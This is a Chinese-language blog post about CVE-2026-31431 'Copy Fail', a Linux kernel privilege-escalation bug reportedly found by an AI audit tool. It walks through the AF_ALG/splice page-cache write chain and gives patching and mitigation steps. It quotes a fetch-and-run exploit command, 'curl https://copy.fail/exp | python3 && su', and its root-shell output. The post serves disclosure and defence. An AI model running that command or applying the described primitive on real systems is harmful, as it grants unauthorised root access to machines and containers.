一个 AI 跑了一小时,挖出了藏在 Linux 内核里九年的提权漏洞

4 月 29 日，安全公司 Xint Code（Theori 旗下）公开了一个 Linux 内核的本地提权漏洞，编号 CVE-2026-31431，名字叫 Copy Fail。

732 字节的 Python 脚本。Python 3.10 的标准库就够，不需要 gcc，不需要内核头文件，不需要碰运气等竞态窗口。普通用户跑一下，root shell 到手。

$ curl https://copy.fail/exp | python3 && su
 # id
uid=0(root) gid=1002(user) groups=1002(user)

我盯着这条命令看了好几秒，第一反应是有点恍惚。

这玩意儿到底有多严重

先把范围说清楚，免得有人当成又一个"理论上可利用"的鸡肋 CVE。

Xint 自己实测过的发行版：

四个发行版，四个 root shell，同一个二进制，一镜到底。Debian、Arch、Fedora、Rocky、Alma、Oracle，只要内核在 2017 年到补丁前这个区间里，行为完全一样。

更难受的是它的触发条件——几乎没有。

不需要网络访问，不需要内核调试功能开着，不需要任何前置漏洞铺路。只要你有一个非 root 的 shell。AF_ALG 这个内核加密 socket 接口，在主流发行版的默认内核配置里全都是开的，你想关都得专门配 modprobe 黑名单。

最后一刀：Linux 的页缓存（page cache）是跨容器共享的。

容器里的攻击者把宿主机上某个 setuid 二进制的页缓存改了，宿主机上其他容器、宿主机本身，下一次读这个二进制的时候读到的就是改完的版本。Pod 变 root，Pod 跨界，多租户 K8s 集群里一个普通容器就够了。

如果你在跑共享开发机、跳板机、构建服务器、Notebook host、Agent sandbox、Serverless 容器——今天就该升级。我没在吓人，Xint 自己的优先级表上这几类都是 High。

"直线逻辑漏洞"是什么意思

大多数 Linux 提权漏洞，比如 Dirty Cow、Dirty Pipe，写出来的 PoC 都得照顾很多事情：内核版本对不对、偏移量对不对、竞态窗口能不能稳定打开、SMAP/SMEP 绕没绕过。换个内核就得重调。

Copy Fail 不是这样。它是一个直线逻辑漏洞——意思是：你按部就班调一遍 syscall，结果就是错的，没有"碰运气"这一步。

漏洞链路简化一下：

2. 用户拿 AF_ALG 创建一个内核加密 socket，绑到 authencesn(...) 这个组合算法上。
4. splice() 把一个只读文件（比如 /usr/bin/su）的页缓存页 splice 进 socket。
6. 内核里的 algif_aead 在 2017 年加了一个原地（in-place）加密优化：源 scatterlist 和目标 scatterlist 复用同一组页。
8. authencesn 的实现里有个分支算 IV 长度时算错了——一个本该只读的页，被当成可写目标传给了加密引擎。
10. 加密引擎往只读文件的页缓存页里写入了 4 个受控字节。
12. 这 4 个字节是攻击者算好的——它落在 /usr/bin/su 里某条关键指令上，把 root 检查改成无脑放行。
14. 用户运行 su，setuid 程序读自己的页缓存，读到改过的代码，给出 root shell。

我读完整个链子，最难受的不是哪一步精巧，而是每一步都不精巧。

AF_ALG 是 2010 年就在的接口。splice() 比这更早。algif_aead 的 in-place 优化是 2017 年合进去的。authencesn 这个组合算法本身也是老东西。三个老组件，按设计文档拼在一起，结果就是一个稳定的、内核版本无关的、跨容器有效的 4 字节任意写。

藏了 九 年。

"4 字节任意写"听起来不多，但它够了

很多人第一反应：4 个字节能干啥？

我第一反应也是这个，然后补一句：在内核漏洞利用的世界里，4 字节足够改一条 x86 指令的关键 opcode + 操作数。/usr/bin/su 里的权限检查跳转改一条，整个二进制就缴械了。

而且这 4 个字节不是随便落，是攻击者精确控制位置 + 精确控制内容。这等价于一个稳定的"任意只读文件页缓存写"原语，搭配 setuid 程序就是教科书级别的提权。

页缓存写还有个副产物——改动不会落盘。

下次重启，内核重新从磁盘加载，篡改没了。这意味着两件事：第一，你跑完 PoC，机器没留痕迹（除非你审计内核或者抓到了 syscall trace）；第二，反过来说，重启不能修，必须打补丁。运维同学如果指望"先重启缓一缓"，方向错了。

一小时挖出来的

这是整件事最让我坐立不安的部分。

Xint 在他们的页面上写得很轻描淡写：Copy Fail was surfaced by Xint Code about an hour of scan time against the Linux crypto/ subsystem——大约一小时的扫描时间。

Xint Code 是他们自家的 AI 辅助代码审计产品。一个 prompt 丢进去，让它扫 Linux 内核的 crypto 子系统，按"触发条件 + 影响"打优先级。一小时之后，这个潜伏 9 年、影响每一个主流发行版的高严重性 LPE，被列在结果列表的顶上。

同一次扫描里还报了别的高严重性 bug，正在协调披露中。

我不太想用"AI 替代安全研究员"这种煽动性的话——这不准确。Xint 的研究团队识别出 crypto 子系统是有趣的攻击面，写了 prompt，验证了利用，写了 732 字节那段 Python。AI 不是凭空把一个 bug 端到他们面前的。

但人类研究员要从零盯着 algif_aead 的代码、splice 的语义、authencesn 的 IV 处理，把这条链子串出来，过去九年里有多少眼睛看过这片代码？

九年里没有人。AI 一小时。

我不知道该高兴还是该害怕。Xint 这家公司过去几年的战绩本来就吓人——ZeroDay Cloud 数据库类（Redis、PostgreSQL、MariaDB）零干预扫穿，DARPA AIxCC 决赛前三，DEF CON CTF 历史最多冠军 9 次。这次他们直接把 Copy Fail 当成 Xint Code 的产品广告——意思已经很明白了：

接下来类似量级的 CVE，会越来越快地涌出来。

防守方的好消息是 AI 也能帮你扫自己的代码。坏消息是攻击方拿到的工具，是同一个工具。

现在该怎么办

一份能直接照着做的清单。

1. 升级内核。

upstream 的修复是 commit a664bf3d603d，回滚了 2017 年那个 in-place 优化，把 algif_aead 的目标 scatterlist 强制隔离开。各大发行版从 4 月初开始陆续推送了带这个补丁的内核包，Ubuntu / Amazon Linux / RHEL / SUSE 都已经发了。apt upgrade / dnf update / zypper patch 之后记得重启——内核补丁不重启不生效。

2. 一时升不了？先把 algif_aead 关掉。

# echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
# rmmod algif_aead 2>/dev/null || true

绝大多数业务用户态走的是 OpenSSL / libsodium，根本不碰 AF_ALG 这个接口。关掉它对你的应用基本是零影响。如果你确实有东西在用——通常是某些硬件加速密钥管理或者老的 dm-crypt 脚本——你会知道的。

3. 容器和 K8s 节点要一起升。

Pod 内核就是宿主机内核。容器镜像更新没用，得升 worker node 的宿主机内核。Karpenter / Cluster Autoscaler 这种自动滚的，把 AMI 换成带补丁的版本，让节点慢慢循环出去。

4. 多租户场景做一次 IR review。

如果你跑的是共享 dev 机、Notebook host、Agent sandbox、CI runner——假设这个漏洞已经被武器化用过了。日志里看 socket(AF_ALG, ...) 调用 + 接着 splice() 操作 setuid 文件页缓存的，是可疑模式。但页缓存改动不落盘这件事，意味着事后取证非常难。

时间线

Xint 公布的时间线，整个流程其实非常干净：

• 2026-03-23 上报 Linux kernel security team
• 2026-03-24 收到确认
• 2026-03-25 补丁提交评审
• 2026-04-01 补丁合入 mainline
• 2026-04-22 分配 CVE-2026-31431
• 2026-04-29 公开披露（copy.fail）

从上报到补丁合入，九天。从合入到公开披露，三周多。这是一个非常体面的协调披露窗口——给了发行版打包、推送、用户更新的时间，没给攻击方留窗口（理论上）。

但 mainline 补丁是 4 月 1 日合的，commit hash 公开，patch diff 公开。任何盯着 Linux mainline 的人，从那天起就有了反向推导漏洞的全部材料。三周。

保守估计：黑产手里早就有了。

最后

九年。

九年里，每一台跑 Ubuntu 的笔记本、每一个跑 RHEL 的生产服务器、每一个跑 Amazon Linux 的 EC2、每一个 K8s 节点，都带着这个能 1 秒内变 root 的 bug 在工作。

我今天写到这里其实有点累。不是因为漏洞本身——这种级别的 LPE 历史上不止一次，Dirty Cow、Dirty Pipe、过去都来过。让人累的是那个一小时。

Xint 自己说，同一次扫描里还报了别的高严重性 bug，正在协调披露。下一个 CVE 不知道什么时候掉下来，是哪个子系统。但今晚先去 apt upgrade 吧。

参考：

• 漏洞主页：https://copy.fail/
• 技术 write-up：https://xint.io/blog/copy-fail-linux-distributions
• PoC 仓库：https://github.com/theori-io/copy-fail-CVE-2026-31431
• mainline 修复 commit：a664bf3d603d

公众号「伞是倒划天空的船」，写一些技术、写一些观察。觉得有用的话，转给容器/K8s 群里的朋友。